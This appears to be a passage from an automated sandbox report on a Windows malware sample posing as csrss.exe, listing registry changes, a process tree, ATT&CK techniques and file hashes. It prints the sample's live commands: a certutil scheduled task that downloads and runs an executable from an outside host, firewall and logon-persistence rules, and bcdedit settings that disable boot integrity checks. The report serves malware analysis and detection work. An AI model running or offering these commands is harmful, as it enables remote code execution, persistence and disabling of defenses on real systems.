35bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.execsrss.exe

pid	process
1376	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
1816	csrss.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

468

pid	process
468

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1376	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Token: SeImpersonatePrivilege	1376	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Token: SeSystemEnvironmentPrivilege	1816	csrss.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.execmd.execsrss.exe

description	pid	process	target process
PID 684 wrote to memory of 1364	684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	cmd.exe
PID 684 wrote to memory of 1364	684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	cmd.exe
PID 684 wrote to memory of 1364	684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	cmd.exe
PID 684 wrote to memory of 1364	684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	cmd.exe
PID 1364 wrote to memory of 776	1364	cmd.exe	netsh.exe
PID 1364 wrote to memory of 776	1364	cmd.exe	netsh.exe
PID 1364 wrote to memory of 776	1364	cmd.exe	netsh.exe
PID 684 wrote to memory of 1816	684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	csrss.exe
PID 684 wrote to memory of 1816	684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	csrss.exe
PID 684 wrote to memory of 1816	684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	csrss.exe
PID 684 wrote to memory of 1816	684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe	csrss.exe
PID 1816 wrote to memory of 108	1816	csrss.exe	bcdedit.exe
PID 1816 wrote to memory of 108	1816	csrss.exe	bcdedit.exe
PID 1816 wrote to memory of 108	1816	csrss.exe	bcdedit.exe
PID 1816 wrote to memory of 108	1816	csrss.exe	bcdedit.exe
PID 1816 wrote to memory of 696	1816	csrss.exe	dsefix.exe
PID 1816 wrote to memory of 696	1816	csrss.exe	dsefix.exe
PID 1816 wrote to memory of 696	1816	csrss.exe	dsefix.exe
PID 1816 wrote to memory of 696	1816	csrss.exe	dsefix.exe

C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
"C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1376

C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
"C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:684

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1364

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:776

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1652

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1520

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Modifies system certificate store
PID:996

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:764

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1192

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1832

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:1660

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:1060

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:1820

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:976

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:460

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:1636

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:1504

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:884

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:1944

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:1040

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:108

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Executes dropped EXE
PID:696

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220614223307.log C:\Windows\Logs\CBS\CbsPersist_20220614223307.cab
1⤵
- Drops file in Windows directory
PID:1820

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Impair Defenses

T1562

Install Root Certificate

T1130

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
0008ce45286bd379fd0ca42e9fb79b0d

SHA1
36a1027956ca5db32a88ae77cae4451407d5cf06

SHA256
2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

SHA512
24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
0008ce45286bd379fd0ca42e9fb79b0d

SHA1
36a1027956ca5db32a88ae77cae4451407d5cf06

SHA256
2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

SHA512
24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
0008ce45286bd379fd0ca42e9fb79b0d

SHA1
36a1027956ca5db32a88ae77cae4451407d5cf06

SHA256
2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

SHA512
24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

Download Submit
memory/108-78-0x0000000000000000-mapping.dmp

Download
memory/684-68-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/684-72-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/684-63-0x00000000034B0000-0x0000000003857000-memory.dmp

Filesize
3.7MB

Download
memory/684-59-0x00000000034B0000-0x0000000003857000-memory.dmp

Filesize
3.7MB

Download
memory/696-80-0x0000000000000000-mapping.dmp

Download
memory/776-62-0x000007FEFBF91000-0x000007FEFBF93000-memory.dmp

Filesize
8KB

Download
memory/776-61-0x0000000000000000-mapping.dmp

Download
memory/996-77-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1364-60-0x0000000000000000-mapping.dmp

Download
memory/1376-58-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/1376-54-0x0000000003590000-0x0000000003937000-memory.dmp

Filesize
3.7MB

Download
memory/1376-57-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/1376-56-0x0000000003940000-0x0000000004142000-memory.dmp

Filesize
8.0MB

Download
memory/1376-55-0x0000000003590000-0x0000000003937000-memory.dmp

Filesize
3.7MB

Download
memory/1816-71-0x0000000003A80000-0x0000000004282000-memory.dmp

Filesize
8.0MB

Download
memory/1816-73-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/1816-70-0x00000000036D0000-0x0000000003A77000-memory.dmp

Filesize
3.7MB

Download
memory/1816-69-0x00000000036D0000-0x0000000003A77000-memory.dmp

Filesize
3.7MB

Download
memory/1816-76-0x0000000000400000-0x000000000334F000-memory.dmp

Filesize
47.3MB

Download
memory/1816-66-0x0000000000000000-mapping.dmp

Download